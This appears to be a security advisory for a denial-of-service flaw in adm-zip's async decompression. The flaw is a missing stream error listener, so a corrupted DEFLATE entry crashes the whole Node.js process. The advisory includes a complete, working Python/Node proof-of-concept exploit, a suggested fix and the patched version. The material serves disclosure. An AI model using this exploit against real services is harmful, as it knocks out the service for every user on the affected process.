adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)

Overview

Summary

Denial of Service in adm-zip's async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file.

Details

Affected package: adm-zip Affected versions: at least 0.6.0 (current latest); likely all versions containing the current inflateAsync implementation in methods/inflater.js Patched version: 0.6.1

Root Cause

methods/inflater.js:12-32 (inflateAsync) creates a zlib.createInflateRaw(option) stream and feeds it attacker-controlled compressed bytes via tmp.end(inbuf), but never registers an "error" listener on the stream:

inflateAsync: function (/*Function*/ callback) {
    var tmp = zlib.createInflateRaw(option),
        parts = [],
        total = 0;
    tmp.on("data", function (data) { parts.push(data); total += data.length; });
    tmp.on("end", function () { /* build buf, callback(buf) */ });
    tmp.end(inbuf);   // no tmp.on("error", ...) registered anywhere
}

Per Node.js EventEmitter/stream semantics, an "error" event emitted with zero listeners is rethrown as an uncaught exception on a later tick, originating from the zlib C++ binding. This cannot be caught by a try/catch wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the try/catch covers.

This code path is reached from every public async API that decompresses entry data: readFileAsync, readAsTextAsync, extractAllToAsync, and ZipEntry.getDataAsync (zipEntry.js:51, :97-120, :309-315; adm-zip.js:157-164, :192-210, :893).

This library recently patched CVE-2026-39244 (GHSA-xcpc-8h2w-3j85), an unbounded Buffer.alloc() on the synchronous decompression path. That fix added a maxOutputLength option to zlib.inflateRawSync/zlib.createInflateRaw, and the sync path's resulting throw is naturally catchable. The async path shares the same maxOutputLength option (methods/inflater.js:5) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers:

1. A DEFLATE entry with corrupted/malformed compressed bytes (Z_DATA_ERROR) — no special crafting needed.
2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the maxOutputLength guard — but on the stream this surfaces via the unhandled "error" event rather than a catchable throw.

Attack Vector

1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid — only the compressed payload bytes need to be malformed.
2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip's async APIs, e.g.:

   const zip = new AdmZip(uploadedBuffer);
   zip.readFileAsync(zip.getEntries()[0], (data) => { /* ... */ });
   

3. inflateAsync begins decompressing; zlib emits "error" on Z_DATA_ERROR.
4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process — killing all in-flight requests for every other user/tenant on that process, not just the attacker's own request.

Impact

Any Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip's async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error.

Proof of Concept

Attached: poc_async_dos.py. Summary of what it does:

1. Builds a fully valid ZIP using adm-zip's own writer (new AdmZip(); zip.addFile(...); zip.toBuffer()), guaranteeing correct headers/CRC/offsets.
2. Locates the local file header's compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with 0xFF, corrupting only the DEFLATE payload.
3. Parses the corrupted archive with a fresh new AdmZip(badBuf) (succeeds — headers are intact) and calls entries[0].getDataAsync(callback), wrapped in try/catch, in an isolated child process.
4. Captures the child's exit code and stderr.

Verified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node zlib.createInflateRaw() fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output:

[*] Child process exit code: 1
----- Node child process stderr (crash evidence) -----
node:events:497
      throw er; // Unhandled 'error' event
      ^
Error: invalid distance too far back
    at genericNodeError (node:internal/errors:983:15)
    at Zlib.zlibOnError [as onerror] (node:zlib:191:17)
Emitted 'error' event on InflateRaw instance at:
    at emitErrorNT (node:internal/streams/destroy:170:8)
    at emitErrorCloseNT (node:internal/streams/destroy:129:3)
    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {
  errno: -3,
  code: 'Z_DATA_ERROR'
}
Node.js v22.22.1
--------------------------------------
[*] Caught by harness's own try/catch (would mean NOT vulnerable): False
[*] getDataAsync callback ever fired (would mean NOT vulnerable): False
[*] Child process exited non-zero (crashed): True
[+] VULNERABILITY CONFIRMED

Reproduction: python3 poc_async_dos.py (requires python3 and Node.js; tested on Node.js v22.22.1).

Suggested Fix

Register an "error" listener on the InflateRaw stream in methods/inflater.js's inflateAsync, and route it to the existing callback, e.g.:

inflateAsync: function (/*Function*/ callback) {
    var tmp = zlib.createInflateRaw(option),
        parts = [],
        total = 0;
    tmp.on("data", function (data) { parts.push(data); total += data.length; });
    tmp.on("error", function (err) {
        // surface as a normal async error instead of crashing the process
        callback(Buffer.alloc(0), err);   // or however this codebase's async
                                            // error convention is expressed
    });
    tmp.on("end", function () { /* existing behavior */ });
    tmp.end(inbuf);
}

The exact callback/error-propagation convention should match the rest of the codebase's async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an err-first convention, at the maintainer's discretion). The key fix is simply: never leave a Node.js stream without an "error" listener when it can plausibly error on attacker-controlled input.

Full PoC Source (poc_async_dos.py)

#!/usr/bin/env python3
"""
Tested version: adm-zip 0.6.0
Tested on: Linux, Node.js v22.22.1

Description:
  methods/inflater.js:12-32 (inflateAsync) creates a
  zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever
  registering an "error" listener on the stream. Per Node.js EventEmitter
  semantics, an "error" event emitted with zero listeners is rethrown as an
  uncaught exception -- this happens on a later tick from the zlib C++
  binding, so it CANNOT be caught by a try/catch wrapped around the calling
  code. Any code that feeds an untrusted zip file into one of adm-zip's
  public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync,
  ZipEntry.getDataAsync) crashes the entire host Node.js process the moment
  it encounters a DEFLATE entry with corrupted/malformed compressed bytes.
  The synchronous decompression path (getData()) was hardened for
  CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable);
  this async streaming path was missed by that fix and remains an
  unauthenticated, single-request availability bug.

Impact:
  Any service that accepts untrusted zip uploads and reads/extracts them
  via adm-zip's async API (the officially documented, recommended usage
  for non-blocking servers) can be crashed by a single malicious zip file,
  with no authentication and no special privileges required.

Reproduction:
  1. Install: this PoC runs directly against the adm-zip source tree this
     script lives alongside (no `npm install` needed -- it requires the
     local checkout via its package.json "main" entry, adm-zip.js).
     Requires: python3, node (tested with Node.js v22.22.1).
  2. Run: python3 poc_async_dos.py
  3. Observe: the spawned Node child process exits non-zero with an
     "Unhandled 'error' event" / Z_DATA_ERROR stack trace on stderr,
     originating from methods/inflater.js's zlib.createInflateRaw stream.
     Neither the harness's try/catch nor the getDataAsync callback ever
     fires -- proving the crash is unrecoverable from calling code.

How the malicious zip is built (see the embedded Node harness in
build_harness_script() below):
  1. Use adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)
     to produce a fully valid, well-formed zip archive with one DEFLATE
     entry. This guarantees every header/CRC/offset field is structurally
     correct.
  2. Locate the local file header at offset 0 and compute the compressed
     data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields.
  3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE
     payload while leaving every size/offset/CRC field in the local header,
     central directory, and EOCD record byte-for-byte unchanged, so
     adm-zip's own parser still locates and slices exactly the right
     region and reaches the vulnerable inflateAsync() call.
"""

import os
import subprocess
import sys
import tempfile

# ============================================================
# Configuration
# ============================================================
PACKAGE_NAME = "adm-zip"
TARGET_VERSION = "0.6.0"
# The adm-zip source tree this PoC lives alongside (Hunter's checkout).
REPO_DIR = os.path.dirname(os.path.abspath(__file__))
NODE_BIN = "node"
SUBPROCESS_TIMEOUT_SECONDS = 20


# ============================================================
# Node.js harness (the genuine trigger -- adm-zip is a JS library, so the
# actual exploit code must run under Node; this Python script builds it,
# runs it in an isolated child process, and interprets the result).
# ============================================================
def build_harness_script(repo_dir: str) -> str:
    return r"""
"use strict";
const AdmZip = require(%(repo_dir)r);

console.log("HARNESS_START");

// Step 1: build a legitimate zip in memory using adm-zip's OWN writer, with
// one DEFLATE-compressed entry. Repetitive text compresses well and
// guarantees the DEFLATED method is chosen (not STORED).
const zip = new AdmZip();
const payload = Buffer.from(
    "The quick brown fox jumps over the lazy dog. ".repeat(200),
    "utf8"
);
zip.addFile("payload.txt", payload, "");
const goodBuf = zip.toBuffer();
console.log("BUILT_GOOD_ZIP bytes=" + goodBuf.length);

// Step 2: locate the local file header (offset 0 in this single-entry
// archive) and corrupt ONLY the compressed-data bytes in place, leaving
// every size/offset/CRC field in the local header, central directory, and
// EOCD record untouched -- so adm-zip's own parser still finds and slices
// exactly the right region and reaches the vulnerable inflateAsync() path.
const LOCSIG = 0x04034b50;
if (goodBuf.readUInt32LE(0) !== LOCSIG) {
    throw new Error("unexpected local header signature -- adm-zip writer output changed");
}
const compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ
const fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM
const extraLen = goodBuf.readUInt16LE(28); // LOCEXT
const dataStart = 30 + fileNameLen + extraLen;
const dataEnd = dataStart + compressedSize;
console.log(
    "LOCAL_HEADER compressedSize=" + compressedSize +
    " dataStart=" + dataStart + " dataEnd=" + dataEnd
);

const badBuf = Buffer.from(goodBuf); // copy, do not mutate original
for (let i = dataStart; i < dataEnd; i++) {
    badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream
}
console.log("CORRUPTED_COMPRESSED_BYTES count=" + (dataEnd - dataStart));

// Step 3: parse the corrupted archive (this succeeds -- headers are intact)
// and hit the vulnerable async decompression path.
const zip2 = new AdmZip(badBuf);
const entries = zip2.getEntries();
console.log(
    "PARSED_CORRUPT_ZIP entries=" + entries.length +
    " name=" + entries[0].entryName
);

try {
    // This is the public, documented API a real server would call on an
    // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync
    // all funnel into the same decompress(true, ...) -> inflateAsync path).
    entries[0].getDataAsync(function (data, err) {
        // If this ever fires, the library handled the error gracefully
        // (no crash) -- meaning the vulnerability is NOT present / already
        // fixed in this build.
        console.log(
            "CALLBACK_FIRED data_len=" + (data ? data.length : 0) +
            " err=" + err
        );
    });
    console.log("SYNC_CALL_RETURNED_NO_THROW");
} catch (e) {
    // If this ever fires, the bug is NOT present -- the error would be
    // synchronously catchable by ordinary calling code.
    console.log("CAUGHT_BY_TRY_CATCH: " + e.message);
}

console.log("HARNESS_END_OF_SYNCHRONOUS_CODE");
// Deliberately NOT registering process.on("uncaughtException", ...) here --
// doing so would mask the exact bug under test. A real, unmodified server
// process has no reason to install a blanket uncaughtException handler
// either; that is precisely what makes this an unrecoverable process crash.
""" % {"repo_dir": repo_dir}


# ============================================================
# Step 1: Setup
# ============================================================
def setup():
    """Verify prerequisites and write out the Node.js harness script."""
    print(f"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}")
    print(f"[*] Target adm-zip source tree: {REPO_DIR}")

    main_entry = os.path.join(REPO_DIR, "adm-zip.js")
    if not os.path.isfile(main_entry):
        print(f"[-] Cannot find adm-zip.js at {main_entry}")
        sys.exit(1)

    try:
        node_version = subprocess.run(
            [NODE_BIN, "--version"], capture_output=True, text=True, timeout=10
        )
        print(f"[*] Found Node.js: {node_version.stdout.strip()}")
    except FileNotFoundError:
        print("[-] node binary not found on PATH -- required to run this PoC")
        sys.exit(1)

    handle, harness_path = tempfile.mkstemp(prefix="admzip_async_dos_", suffix=".js")
    with os.fdopen(handle, "w") as f:
        f.write(build_harness_script(REPO_DIR))
    print(f"[*] Wrote Node harness to {harness_path}")
    return harness_path


# ============================================================
# Step 2: Trigger the vulnerability
# ============================================================
def trigger(harness_path):
    """Run the Node harness (in its own isolated child process) that builds
    the malicious zip and feeds it into adm-zip's vulnerable async API."""
    print("[*] Triggering vulnerability (spawning isolated Node subprocess)...")
    try:
        proc = subprocess.run(
            [NODE_BIN, harness_path],
            capture_output=True,
            text=True,
            timeout=SUBPROCESS_TIMEOUT_SECONDS,
            cwd=REPO_DIR,
        )
        return {
            "timed_out": False,
            "returncode": proc.returncode,
            "stdout": proc.stdout,
            "stderr": proc.stderr,
        }
    except subprocess.TimeoutExpired as e:
        return {
            "timed_out": True,
            "returncode": None,
            "stdout": (e.stdout or b"").decode(errors="replace") if isinstance(e.stdout, bytes) else (e.stdout or ""),
            "stderr": (e.stderr or b"").decode(errors="replace") if isinstance(e.stderr, bytes) else (e.stderr or ""),
        }


# ============================================================
# Step 3: Verify impact
# ============================================================
def verify(result):
    """Check that the child process crashed with an unhandled 'error' event
    originating from the async inflater, and that neither the try/catch nor
    the getDataAsync callback in the harness ever ran."""
    print("[*] Verifying impact...")
    print(f"[*] Child process exit code: {result['returncode']}")
    print()
    print("----- Node child process stdout -----")
    print(result["stdout"].rstrip())
    print("----- Node child process stderr (crash evidence) -----")
    print(result["stderr"].rstrip())
    print("--------------------------------------")
    print()

    if result["timed_out"]:
        print("[-] Harness timed out instead of crashing -- inconclusive")
        return False

    stdout = result["stdout"]
    stderr = result["stderr"]
    returncode = result["returncode"]

    reached_vuln_call = "SYNC_CALL_RETURNED_NO_THROW" in stdout
    was_caught = "CAUGHT_BY_TRY_CATCH" in stdout
    callback_fired = "CALLBACK_FIRED" in stdout
    process_crashed = returncode is not None and returncode != 0
    unhandled_error_evidence = (
        "Unhandled 'error' event" in stderr
        or "ERR_UNHANDLED_ERROR" in stderr
        or "Emitted 'error' event on InflateRaw instance" in stderr
    )

    print(f"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}")
    print(f"[*] Caught by harness's own try/catch (would mean NOT vulnerable): {was_caught}")
    print(f"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}")
    print(f"[*] Child process exited non-zero (crashed): {process_crashed}")
    print(f"[*] stderr shows an unhandled 'error' event from the InflateRaw stream: {unhandled_error_evidence}")

    success = (
        reached_vuln_call
        and not was_caught
        and not callback_fired
        and process_crashed
        and unhandled_error_evidence
    )
    return success


# ============================================================
# Main
# ============================================================
if __name__ == "__main__":
    print(f"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===")
    print(f"[*] Target version: {TARGET_VERSION}")
    print()

    harness_path = setup()
    try:
        result = trigger(harness_path)
        success = verify(result)
    finally:
        try:
            os.remove(harness_path)
            print(f"[*] Cleaned up temp harness file: {harness_path}")
        except OSError:
            pass

    print()
    if success:
        print("[+] VULNERABILITY CONFIRMED")
        print(
            "[+] Impact: a single untrusted zip file with a corrupted DEFLATE "
            "entry crashes the entire Node.js process when read via any "
            "adm-zip *Async API (readFileAsync / readAsTextAsync / "
            "extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, "
            "single-request, unrecoverable process-level Denial of Service."
        )
    else:
        print("[-] Vulnerability NOT confirmed")

    sys.exit(0 if success else 1)

Affected packages

• adm-zip <= 0.6.0

Remediation

Upgrade to a patched release:

• adm-zip 0.6.1